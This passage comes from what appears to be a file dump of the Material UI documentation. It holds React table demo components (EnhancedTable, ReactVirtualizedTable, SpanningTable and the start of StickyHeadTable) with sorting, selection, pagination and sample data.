<IconButton>\n            <DeleteIcon />\n          </IconButton>\n        </Tooltip>\n      ) : (\n        <Tooltip title=\"Filter list\">\n          <IconButton>\n            <FilterListIcon />\n          </IconButton>\n        </Tooltip>\n      )}\n    </Toolbar>\n  );\n}\n\nEnhancedTableToolbar.propTypes = {\n  numSelected: PropTypes.number.isRequired,\n};\n\nexport default function EnhancedTable() {\n  const [order, setOrder] = React.useState('asc');\n  const [orderBy, setOrderBy] = React.useState('calories');\n  const [selected, setSelected] = React.useState([]);\n  const [page, setPage] = React.useState(0);\n  const [dense, setDense] = React.useState(false);\n  const [rowsPerPage, setRowsPerPage] = React.useState(5);\n\n  const handleRequestSort = (event, property) => {\n    const isAsc = orderBy === property && order === 'asc';\n    setOrder(isAsc ? 'desc' : 'asc');\n    setOrderBy(property);\n  };\n\n  const handleSelectAllClick = (event) => {\n    if (event.target.checked) {\n      const newSelected = rows.map((n) => n.id);\n      setSelected(newSelected);\n      return;\n    }\n    setSelected([]);\n  };\n\n  const handleClick = (event, id) => {\n    const selectedIndex = selected.indexOf(id);\n    let newSelected = [];\n\n    if (selectedIndex === -1) {\n      newSelected = newSelected.concat(selected, id);\n    } else if (selectedIndex === 0) {\n      newSelected = newSelected.concat(selected.slice(1));\n    } else if (selectedIndex === selected.length - 1) {\n      newSelected = newSelected.concat(selected.slice(0, -1));\n    } else if (selectedIndex > 0) {\n      newSelected = newSelected.concat(\n        selected.slice(0, selectedIndex),\n        selected.slice(selectedIndex + 1),\n      );\n    }\n    setSelected(newSelected);\n  };\n\n  const handleChangePage = (event, newPage) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event) => {\n    setRowsPerPage(parseInt(event.target.value, 10));\n    setPage(0);\n  };\n\n  const handleChangeDense = (event) => {\n    setDense(event.target.checked);\n  };\n\n  // Avoid a layout jump when reaching the last page with empty rows.\n  const emptyRows =\n    page > 0 ? Math.max(0, (1 + page) * rowsPerPage - rows.length) : 0;\n\n  const visibleRows = React.useMemo(\n    () =>\n      [...rows]\n        .sort(getComparator(order, orderBy))\n        .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage),\n    [order, orderBy, page, rowsPerPage],\n  );\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Paper sx={{ width: '100%', mb: 2 }}>\n        <EnhancedTableToolbar numSelected={selected.length} />\n        <TableContainer>\n          <Table\n            sx={{ minWidth: 750 }}\n            aria-labelledby=\"tableTitle\"\n            size={dense ? 'small' : 'medium'}\n          >\n            <EnhancedTableHead\n              numSelected={selected.length}\n              order={order}\n              orderBy={orderBy}\n              onSelectAllClick={handleSelectAllClick}\n              onRequestSort={handleRequestSort}\n              rowCount={rows.length}\n            />\n            <TableBody>\n              {visibleRows.map((row, index) => {\n                const isItemSelected = selected.includes(row.id);\n                const labelId = `enhanced-table-checkbox-${index}`;\n\n                return (\n                  <TableRow\n                    hover\n                    onClick={(event) => handleClick(event, row.id)}\n                    role=\"checkbox\"\n                    aria-checked={isItemSelected}\n                    tabIndex={-1}\n                    key={row.id}\n                    selected={isItemSelected}\n                    sx={{ cursor: 'pointer' }}\n                  >\n                    <TableCell padding=\"checkbox\">\n                      <Checkbox\n                        color=\"primary\"\n                        checked={isItemSelected}\n                        slotProps={{\n                          input: { 'aria-labelledby': labelId },\n                        }}\n                      />\n                    </TableCell>\n                    <TableCell\n                      component=\"th\"\n                      id={labelId}\n                      scope=\"row\"\n                      padding=\"none\"\n                    >\n                      {row.name}\n                    </TableCell>\n                    <TableCell align=\"right\">{row.calories}</TableCell>\n                    <TableCell align=\"right\">{row.fat}</TableCell>\n                    <TableCell align=\"right\">{row.carbs}</TableCell>\n                    <TableCell align=\"right\">{row.protein}</TableCell>\n                  </TableRow>\n                );\n              })}\n              {emptyRows > 0 && (\n                <TableRow\n                  style={{\n                    height: (dense ? 33 : 53) * emptyRows,\n                  }}\n                >\n                  <TableCell colSpan={6} />\n                </TableRow>\n              )}\n            </TableBody>\n          </Table>\n        </TableContainer>\n        <TablePagination\n          rowsPerPageOptions={[5, 10, 25]}\n          component=\"div\"\n          count={rows.length}\n          rowsPerPage={rowsPerPage}\n          page={page}\n          onPageChange={handleChangePage}\n          onRowsPerPageChange={handleChangeRowsPerPage}\n        />\n      </Paper>\n      <FormControlLabel\n        control={<Switch checked={dense} onChange={handleChangeDense} />}\n        label=\"Dense padding\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/EnhancedTable.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\nimport TableSortLabel from '@mui/material/TableSortLabel';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport Checkbox from '@mui/material/Checkbox';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport FilterListIcon from '@mui/icons-material/FilterList';\nimport { visuallyHidden } from '@mui/utils';\n\ninterface Data {\n  id: number;\n  calories: number;\n  carbs: number;\n  fat: number;\n  name: string;\n  protein: number;\n}\n\nfunction createData(\n  id: number,\n  name: string,\n  calories: number,\n  fat: number,\n  carbs: number,\n  protein: number,\n): Data {\n  return {\n    id,\n    name,\n    calories,\n    fat,\n    carbs,\n    protein,\n  };\n}\n\nconst rows = [\n  createData(1, 'Cupcake', 305, 3.7, 67, 4.3),\n  createData(2, 'Donut', 452, 25.0, 51, 4.9),\n  createData(3, 'Eclair', 262, 16.0, 24, 6.0),\n  createData(4, 'Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData(5, 'Gingerbread', 356, 16.0, 49, 3.9),\n  createData(6, 'Honeycomb', 408, 3.2, 87, 6.5),\n  createData(7, 'Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData(8, 'Jelly Bean', 375, 0.0, 94, 0.0),\n  createData(9, 'KitKat', 518, 26.0, 65, 7.0),\n  createData(10, 'Lollipop', 392, 0.2, 98, 0.0),\n  createData(11, 'Marshmallow', 318, 0, 81, 2.0),\n  createData(12, 'Nougat', 360, 19.0, 9, 37.0),\n  createData(13, 'Oreo', 437, 18.0, 63, 4.0),\n];\n\nfunction descendingComparator<T>(a: T, b: T, orderBy: keyof T) {\n  if (b[orderBy] < a[orderBy]) {\n    return -1;\n  }\n  if (b[orderBy] > a[orderBy]) {\n    return 1;\n  }\n  return 0;\n}\n\ntype Order = 'asc' | 'desc';\n\nfunction getComparator<Key extends keyof any>(\n  order: Order,\n  orderBy: Key,\n): (\n  a: { [key in Key]: number | string },\n  b: { [key in Key]: number | string },\n) => number {\n  return order === 'desc'\n    ? (a, b) => descendingComparator(a, b, orderBy)\n    : (a, b) => -descendingComparator(a, b, orderBy);\n}\n\ninterface HeadCell {\n  disablePadding: boolean;\n  id: keyof Data;\n  label: string;\n  numeric: boolean;\n}\n\nconst headCells: readonly HeadCell[] = [\n  {\n    id: 'name',\n    numeric: false,\n    disablePadding: true,\n    label: 'Dessert (100g serving)',\n  },\n  {\n    id: 'calories',\n    numeric: true,\n    disablePadding: false,\n    label: 'Calories',\n  },\n  {\n    id: 'fat',\n    numeric: true,\n    disablePadding: false,\n    label: 'Fat (g)',\n  },\n  {\n    id: 'carbs',\n    numeric: true,\n    disablePadding: false,\n    label: 'Carbs (g)',\n  },\n  {\n    id: 'protein',\n    numeric: true,\n    disablePadding: false,\n    label: 'Protein (g)',\n  },\n];\n\ninterface EnhancedTableProps {\n  numSelected: number;\n  onRequestSort: (event: React.MouseEvent<unknown>, property: keyof Data) => void;\n  onSelectAllClick: (event: React.ChangeEvent<HTMLInputElement>) => void;\n  order: Order;\n  orderBy: string;\n  rowCount: number;\n}\n\nfunction EnhancedTableHead(props: EnhancedTableProps) {\n  const { onSelectAllClick, order, orderBy, numSelected, rowCount, onRequestSort } =\n    props;\n  const createSortHandler =\n    (property: keyof Data) => (event: React.MouseEvent<unknown>) => {\n      onRequestSort(event, property);\n    };\n\n  return (\n    <TableHead>\n      <TableRow>\n        <TableCell padding=\"checkbox\">\n          <Checkbox\n            color=\"primary\"\n            indeterminate={numSelected > 0 && numSelected < rowCount}\n            checked={rowCount > 0 && numSelected === rowCount}\n            onChange={onSelectAllClick}\n            slotProps={{\n              input: { 'aria-label': 'select all desserts' },\n            }}\n          />\n        </TableCell>\n        {headCells.map((headCell) => (\n          <TableCell\n            key={headCell.id}\n            align={headCell.numeric ? 'right' : 'left'}\n            padding={headCell.disablePadding ? 'none' : 'normal'}\n            sortDirection={orderBy === headCell.id ? order : false}\n          >\n            <TableSortLabel\n              active={orderBy === headCell.id}\n              direction={orderBy === headCell.id ? order : 'asc'}\n              onClick={createSortHandler(headCell.id)}\n            >\n              {headCell.label}\n              {orderBy === headCell.id ? (\n                <Box component=\"span\" sx={visuallyHidden}>\n                  {order === 'desc' ? 'sorted descending' : 'sorted ascending'}\n                </Box>\n              ) : null}\n            </TableSortLabel>\n          </TableCell>\n        ))}\n      </TableRow>\n    </TableHead>\n  );\n}\ninterface EnhancedTableToolbarProps {\n  numSelected: number;\n}\nfunction EnhancedTableToolbar(props: EnhancedTableToolbarProps) {\n  const { numSelected } = props;\n  return (\n    <Toolbar\n      sx={[\n        {\n          pl: { sm: 2 },\n          pr: { xs: 1, sm: 1 },\n        },\n        numSelected > 0 && {\n          bgcolor: (theme) =>\n            alpha(theme.palette.primary.main, theme.palette.action.activatedOpacity),\n        },\n      ]}\n    >\n      {numSelected > 0 ? (\n        <Typography\n          variant=\"subtitle1\"\n          component=\"div\"\n          sx={{\n            color: 'inherit',\n            flex: '1 1 100%',\n          }}\n        >\n          {numSelected} selected\n        </Typography>\n      ) : (\n        <Typography\n          sx={{ flex: '1 1 100%' }}\n          variant=\"h6\"\n          id=\"tableTitle\"\n          component=\"div\"\n        >\n          Nutrition\n        </Typography>\n      )}\n      {numSelected > 0 ? (\n        <Tooltip title=\"Delete\">\n          <IconButton>\n            <DeleteIcon />\n          </IconButton>\n        </Tooltip>\n      ) : (\n        <Tooltip title=\"Filter list\">\n          <IconButton>\n            <FilterListIcon />\n          </IconButton>\n        </Tooltip>\n      )}\n    </Toolbar>\n  );\n}\nexport default function EnhancedTable() {\n  const [order, setOrder] = React.useState<Order>('asc');\n  const [orderBy, setOrderBy] = React.useState<keyof Data>('calories');\n  const [selected, setSelected] = React.useState<readonly number[]>([]);\n  const [page, setPage] = React.useState(0);\n  const [dense, setDense] = React.useState(false);\n  const [rowsPerPage, setRowsPerPage] = React.useState(5);\n\n  const handleRequestSort = (\n    event: React.MouseEvent<unknown>,\n    property: keyof Data,\n  ) => {\n    const isAsc = orderBy === property && order === 'asc';\n    setOrder(isAsc ? 'desc' : 'asc');\n    setOrderBy(property);\n  };\n\n  const handleSelectAllClick = (event: React.ChangeEvent<HTMLInputElement>) => {\n    if (event.target.checked) {\n      const newSelected = rows.map((n) => n.id);\n      setSelected(newSelected);\n      return;\n    }\n    setSelected([]);\n  };\n\n  const handleClick = (event: React.MouseEvent<unknown>, id: number) => {\n    const selectedIndex = selected.indexOf(id);\n    let newSelected: readonly number[] = [];\n\n    if (selectedIndex === -1) {\n      newSelected = newSelected.concat(selected, id);\n    } else if (selectedIndex === 0) {\n      newSelected = newSelected.concat(selected.slice(1));\n    } else if (selectedIndex === selected.length - 1) {\n      newSelected = newSelected.concat(selected.slice(0, -1));\n    } else if (selectedIndex > 0) {\n      newSelected = newSelected.concat(\n        selected.slice(0, selectedIndex),\n        selected.slice(selectedIndex + 1),\n      );\n    }\n    setSelected(newSelected);\n  };\n\n  const handleChangePage = (event: unknown, newPage: number) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setRowsPerPage(parseInt(event.target.value, 10));\n    setPage(0);\n  };\n\n  const handleChangeDense = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setDense(event.target.checked);\n  };\n\n  // Avoid a layout jump when reaching the last page with empty rows.\n  const emptyRows =\n    page > 0 ? Math.max(0, (1 + page) * rowsPerPage - rows.length) : 0;\n\n  const visibleRows = React.useMemo(\n    () =>\n      [...rows]\n        .sort(getComparator(order, orderBy))\n        .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage),\n    [order, orderBy, page, rowsPerPage],\n  );\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Paper sx={{ width: '100%', mb: 2 }}>\n        <EnhancedTableToolbar numSelected={selected.length} />\n        <TableContainer>\n          <Table\n            sx={{ minWidth: 750 }}\n            aria-labelledby=\"tableTitle\"\n            size={dense ? 'small' : 'medium'}\n          >\n            <EnhancedTableHead\n              numSelected={selected.length}\n              order={order}\n              orderBy={orderBy}\n              onSelectAllClick={handleSelectAllClick}\n              onRequestSort={handleRequestSort}\n              rowCount={rows.length}\n            />\n            <TableBody>\n              {visibleRows.map((row, index) => {\n                const isItemSelected = selected.includes(row.id);\n                const labelId = `enhanced-table-checkbox-${index}`;\n\n                return (\n                  <TableRow\n                    hover\n                    onClick={(event) => handleClick(event, row.id)}\n                    role=\"checkbox\"\n                    aria-checked={isItemSelected}\n                    tabIndex={-1}\n                    key={row.id}\n                    selected={isItemSelected}\n                    sx={{ cursor: 'pointer' }}\n                  >\n                    <TableCell padding=\"checkbox\">\n                      <Checkbox\n                        color=\"primary\"\n                        checked={isItemSelected}\n                        slotProps={{\n                          input: { 'aria-labelledby': labelId },\n                        }}\n                      />\n                    </TableCell>\n                    <TableCell\n                      component=\"th\"\n                      id={labelId}\n                      scope=\"row\"\n                      padding=\"none\"\n                    >\n                      {row.name}\n                    </TableCell>\n                    <TableCell align=\"right\">{row.calories}</TableCell>\n                    <TableCell align=\"right\">{row.fat}</TableCell>\n                    <TableCell align=\"right\">{row.carbs}</TableCell>\n                    <TableCell align=\"right\">{row.protein}</TableCell>\n                  </TableRow>\n                );\n              })}\n              {emptyRows > 0 && (\n                <TableRow\n                  style={{\n                    height: (dense ? 33 : 53) * emptyRows,\n                  }}\n                >\n                  <TableCell colSpan={6} />\n                </TableRow>\n              )}\n            </TableBody>\n          </Table>\n        </TableContainer>\n        <TablePagination\n          rowsPerPageOptions={[5, 10, 25]}\n          component=\"div\"\n          count={rows.length}\n          rowsPerPage={rowsPerPage}\n          page={page}\n          onPageChange={handleChangePage}\n          onRowsPerPageChange={handleChangeRowsPerPage}\n        />\n      </Paper>\n      <FormControlLabel\n        control={<Switch checked={dense} onChange={handleChangeDense} />}\n        label=\"Dense padding\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/ReactVirtualizedTable.js",
    "content": "import * as React from 'react';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\nimport { TableVirtuoso } from 'react-virtuoso';\nimport Chance from 'chance';\n\nconst chance = new Chance(42);\n\nfunction createData(id) {\n  return {\n    id,\n    firstName: chance.first(),\n    lastName: chance.last(),\n    age: chance.age(),\n    phone: chance.phone(),\n    state: chance.state({ full: true }),\n  };\n}\n\nconst columns = [\n  {\n    width: 100,\n    label: 'First Name',\n    dataKey: 'firstName',\n  },\n  {\n    width: 100,\n    label: 'Last Name',\n    dataKey: 'lastName',\n  },\n  {\n    width: 50,\n    label: 'Age',\n    dataKey: 'age',\n    numeric: true,\n  },\n  {\n    width: 110,\n    label: 'State',\n    dataKey: 'state',\n  },\n  {\n    width: 130,\n    label: 'Phone Number',\n    dataKey: 'phone',\n  },\n];\n\nconst rows = Array.from({ length: 200 }, (_, index) => createData(index));\n\nconst VirtuosoTableComponents = {\n  Scroller: React.forwardRef((props, ref) => (\n    <TableContainer component={Paper} {...props} ref={ref} />\n  )),\n  Table: (props) => (\n    <Table {...props} sx={{ borderCollapse: 'separate', tableLayout: 'fixed' }} />\n  ),\n  TableHead: React.forwardRef((props, ref) => <TableHead {...props} ref={ref} />),\n  TableRow,\n  TableBody: React.forwardRef((props, ref) => <TableBody {...props} ref={ref} />),\n};\n\nfunction fixedHeaderContent() {\n  return (\n    <TableRow>\n      {columns.map((column) => (\n        <TableCell\n          key={column.dataKey}\n          variant=\"head\"\n          align={column.numeric || false ? 'right' : 'left'}\n          style={{ width: column.width }}\n          sx={{ backgroundColor: 'background.paper' }}\n        >\n          {column.label}\n        </TableCell>\n      ))}\n    </TableRow>\n  );\n}\n\nfunction rowContent(_index, row) {\n  return (\n    <React.Fragment>\n      {columns.map((column) => (\n        <TableCell\n          key={column.dataKey}\n          align={column.numeric || false ? 'right' : 'left'}\n        >\n          {row[column.dataKey]}\n        </TableCell>\n      ))}\n    </React.Fragment>\n  );\n}\n\nexport default function ReactVirtualizedTable() {\n  return (\n    <Paper style={{ height: 400, width: '100%' }}>\n      <TableVirtuoso\n        data={rows}\n        components={VirtuosoTableComponents}\n        fixedHeaderContent={fixedHeaderContent}\n        itemContent={rowContent}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/ReactVirtualizedTable.tsx",
    "content": "import * as React from 'react';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\nimport { TableVirtuoso, TableComponents } from 'react-virtuoso';\nimport Chance from 'chance';\n\ninterface Data {\n  id: number;\n  firstName: string;\n  lastName: string;\n  age: number;\n  phone: string;\n  state: string;\n}\n\ninterface ColumnData {\n  dataKey: keyof Data;\n  label: string;\n  numeric?: boolean;\n  width?: number;\n}\n\nconst chance = new Chance(42);\n\nfunction createData(id: number): Data {\n  return {\n    id,\n    firstName: chance.first(),\n    lastName: chance.last(),\n    age: chance.age(),\n    phone: chance.phone(),\n    state: chance.state({ full: true }),\n  };\n}\n\nconst columns: ColumnData[] = [\n  {\n    width: 100,\n    label: 'First Name',\n    dataKey: 'firstName',\n  },\n  {\n    width: 100,\n    label: 'Last Name',\n    dataKey: 'lastName',\n  },\n  {\n    width: 50,\n    label: 'Age',\n    dataKey: 'age',\n    numeric: true,\n  },\n  {\n    width: 110,\n    label: 'State',\n    dataKey: 'state',\n  },\n  {\n    width: 130,\n    label: 'Phone Number',\n    dataKey: 'phone',\n  },\n];\n\nconst rows: Data[] = Array.from({ length: 200 }, (_, index) => createData(index));\n\nconst VirtuosoTableComponents: TableComponents<Data> = {\n  Scroller: React.forwardRef<HTMLDivElement>((props, ref) => (\n    <TableContainer component={Paper} {...props} ref={ref} />\n  )),\n  Table: (props) => (\n    <Table {...props} sx={{ borderCollapse: 'separate', tableLayout: 'fixed' }} />\n  ),\n  TableHead: React.forwardRef<HTMLTableSectionElement>((props, ref) => (\n    <TableHead {...props} ref={ref} />\n  )),\n  TableRow,\n  TableBody: React.forwardRef<HTMLTableSectionElement>((props, ref) => (\n    <TableBody {...props} ref={ref} />\n  )),\n};\n\nfunction fixedHeaderContent() {\n  return (\n    <TableRow>\n      {columns.map((column) => (\n        <TableCell\n          key={column.dataKey}\n          variant=\"head\"\n          align={column.numeric || false ? 'right' : 'left'}\n          style={{ width: column.width }}\n          sx={{ backgroundColor: 'background.paper' }}\n        >\n          {column.label}\n        </TableCell>\n      ))}\n    </TableRow>\n  );\n}\n\nfunction rowContent(_index: number, row: Data) {\n  return (\n    <React.Fragment>\n      {columns.map((column) => (\n        <TableCell\n          key={column.dataKey}\n          align={column.numeric || false ? 'right' : 'left'}\n        >\n          {row[column.dataKey]}\n        </TableCell>\n      ))}\n    </React.Fragment>\n  );\n}\n\nexport default function ReactVirtualizedTable() {\n  return (\n    <Paper style={{ height: 400, width: '100%' }}>\n      <TableVirtuoso\n        data={rows}\n        components={VirtuosoTableComponents}\n        fixedHeaderContent={fixedHeaderContent}\n        itemContent={rowContent}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/ReactVirtualizedTable.tsx.preview",
    "content": "<Paper style={{ height: 400, width: '100%' }}>\n  <TableVirtuoso\n    data={rows}\n    components={VirtuosoTableComponents}\n    fixedHeaderContent={fixedHeaderContent}\n    itemContent={rowContent}\n  />\n</Paper>"
  },
  {
    "path": "docs/data/material/components/table/SpanningTable.js",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nconst TAX_RATE = 0.07;\n\nfunction ccyFormat(num) {\n  return `${num.toFixed(2)}`;\n}\n\nfunction priceRow(qty, unit) {\n  return qty * unit;\n}\n\nfunction createRow(desc, qty, unit) {\n  const price = priceRow(qty, unit);\n  return { desc, qty, unit, price };\n}\n\nfunction subtotal(items) {\n  return items.map(({ price }) => price).reduce((sum, i) => sum + i, 0);\n}\n\nconst rows = [\n  createRow('Paperclips (Box)', 100, 1.15),\n  createRow('Paper (Case)', 10, 45.99),\n  createRow('Waste Basket', 2, 17.99),\n];\n\nconst invoiceSubtotal = subtotal(rows);\nconst invoiceTaxes = TAX_RATE * invoiceSubtotal;\nconst invoiceTotal = invoiceTaxes + invoiceSubtotal;\n\nexport default function SpanningTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 700 }} aria-label=\"spanning table\">\n        <TableHead>\n          <TableRow>\n            <TableCell align=\"center\" colSpan={3}>\n              Details\n            </TableCell>\n            <TableCell align=\"right\">Price</TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell>Desc</TableCell>\n            <TableCell align=\"right\">Qty.</TableCell>\n            <TableCell align=\"right\">Unit</TableCell>\n            <TableCell align=\"right\">Sum</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow key={row.desc}>\n              <TableCell>{row.desc}</TableCell>\n              <TableCell align=\"right\">{row.qty}</TableCell>\n              <TableCell align=\"right\">{row.unit}</TableCell>\n              <TableCell align=\"right\">{ccyFormat(row.price)}</TableCell>\n            </TableRow>\n          ))}\n          <TableRow>\n            <TableCell rowSpan={3} />\n            <TableCell colSpan={2}>Subtotal</TableCell>\n            <TableCell align=\"right\">{ccyFormat(invoiceSubtotal)}</TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell>Tax</TableCell>\n            <TableCell align=\"right\">{`${(TAX_RATE * 100).toFixed(0)} %`}</TableCell>\n            <TableCell align=\"right\">{ccyFormat(invoiceTaxes)}</TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell colSpan={2}>Total</TableCell>\n            <TableCell align=\"right\">{ccyFormat(invoiceTotal)}</TableCell>\n          </TableRow>\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/SpanningTable.tsx",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nconst TAX_RATE = 0.07;\n\nfunction ccyFormat(num: number) {\n  return `${num.toFixed(2)}`;\n}\n\nfunction priceRow(qty: number, unit: number) {\n  return qty * unit;\n}\n\nfunction createRow(desc: string, qty: number, unit: number) {\n  const price = priceRow(qty, unit);\n  return { desc, qty, unit, price };\n}\n\ninterface Row {\n  desc: string;\n  qty: number;\n  unit: number;\n  price: number;\n}\n\nfunction subtotal(items: readonly Row[]) {\n  return items.map(({ price }) => price).reduce((sum, i) => sum + i, 0);\n}\n\nconst rows = [\n  createRow('Paperclips (Box)', 100, 1.15),\n  createRow('Paper (Case)', 10, 45.99),\n  createRow('Waste Basket', 2, 17.99),\n];\n\nconst invoiceSubtotal = subtotal(rows);\nconst invoiceTaxes = TAX_RATE * invoiceSubtotal;\nconst invoiceTotal = invoiceTaxes + invoiceSubtotal;\n\nexport default function SpanningTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 700 }} aria-label=\"spanning table\">\n        <TableHead>\n          <TableRow>\n            <TableCell align=\"center\" colSpan={3}>\n              Details\n            </TableCell>\n            <TableCell align=\"right\">Price</TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell>Desc</TableCell>\n            <TableCell align=\"right\">Qty.</TableCell>\n            <TableCell align=\"right\">Unit</TableCell>\n            <TableCell align=\"right\">Sum</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow key={row.desc}>\n              <TableCell>{row.desc}</TableCell>\n              <TableCell align=\"right\">{row.qty}</TableCell>\n              <TableCell align=\"right\">{row.unit}</TableCell>\n              <TableCell align=\"right\">{ccyFormat(row.price)}</TableCell>\n            </TableRow>\n          ))}\n          <TableRow>\n            <TableCell rowSpan={3} />\n            <TableCell colSpan={2}>Subtotal</TableCell>\n            <TableCell align=\"right\">{ccyFormat(invoiceSubtotal)}</TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell>Tax</TableCell>\n            <TableCell align=\"right\">{`${(TAX_RATE * 100).toFixed(0)} %`}</TableCell>\n            <TableCell align=\"right\">{ccyFormat(invoiceTaxes)}</TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell colSpan={2}>Total</TableCell>\n            <TableCell align=\"right\">{ccyFormat(invoiceTotal)}</TableCell>\n          </TableRow>\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/StickyHeadTable.js",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\n\nconst columns = [\n  { id: 'name', label: 'Name', minWidth: 170 },\n  { id: 'code', label: 'ISO\\u00a0Code', minWidth: 100 },\n  {\n    id: 'population',\n    label: 'Population',\n    minWidth: 170,\n    align: 'right',\n    format: (value) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'size',\n    label: 'Size\\u00a0(km\\u00b2)',\n    minWidth: 170,\n    align: 'right',\n    format: (value) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'density',\n    label: 'Density',\n    minWidth: 170,\n    align: 'right',\n    format: (value) => value.toFixed(2),\n  },\n];\n\nfunction createData(name, code, population, size) {\n  const density = population / size;\n  return { name, code, population, size, density };\n}\n\nconst rows = [\n  createData('India', 'IN', 1324171354, 3287263),\n  createData('China', 'CN', 1403500365, 9596961),\n  createData('Italy', 'IT', 60483973, 301340),\n  createData('United States', 'US', 327167434, 9833520),\n  createData('Canada', 'CA', 37602103, 9984670),\n  createData('Australia', 'AU', 25475400, 7692024),\n  createData('Germany', 'DE', 83019200, 357578),\n  createData('Ireland', 'IE', 4857000, 70273),\n  createData('Mexico', 'MX', 126577691, 1972550),\n  createData('Japan', 'JP', 126317000, 377973),\n  createData('France', 'FR', 67022000, 640679),\n  createData('United Kingdom', 'GB', 67545757, 242495),\n  createData('Russia', 'RU', 146793744, 17098246),\n  createData('Nigeria', 'NG', 200962417, 923768),\n  createData('Brazil', 'BR', 210147125, 8515767),\n];\n\nexport default function StickyHeadTable() {\n  const [page, setPage] = React.useState(0);\n  const [rowsPerPage, setRowsPerPage] = React.useState(10);\n\n  const handleChangePage = (event, newPage) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event) => {\n    setRowsPerPage(+event.target.value);\n    setPage(0);\n  };\n\n  return (\n    <Paper sx={{ width: '100%', overflow: 'hidden' }}>\n      <TableContainer sx={{ maxHeight: 440 }}>\n        <Table stickyHeader aria-label=\"sticky table\">\n          <TableHead>\n            <TableRow>\n              {columns.map((column) => (\n                <TableCell\n                  key={column.id}\n                  align={column.align}\n                  style={{ minWidth: column.minWidth }}\n                >\n                  {column.label}\n                </TableCell>\n              ))}\n            </TableRow>\n          </TableHead>\n          <TableBody>\n            {rows\n              .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)\n              .map((row) => {\n                return (\n                  <TableRow hover role=\"checkbox\" tabIndex={-1} key={row.code}>\n                    {columns.map((column) => {\n                      const value = row[column.id];\n                      return (\n                        <TableCell key={column.id} align={column.align}>\n                          {column.format && typeof value === 'number'\n                            ? column.format(value)\n                            : value}\n                        </TableCell>\n                      );\n                    })}\n                  </TableRow>\n                );\n              })}\n          </TableBody>\n        </Table>\n      </TableContainer>\n      <TablePagination\n        rowsPerPageOptions={[10, 25, 100]}\n        component=\"div\"\n        count={rows.length}\n        rowsPerPage={rowsPerPage}\n        page={page}\n        onPageChange={handleChangePage}\n        onRowsPerPageChange={handleChangeRowsPerPage}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/StickyHeadTable.tsx",
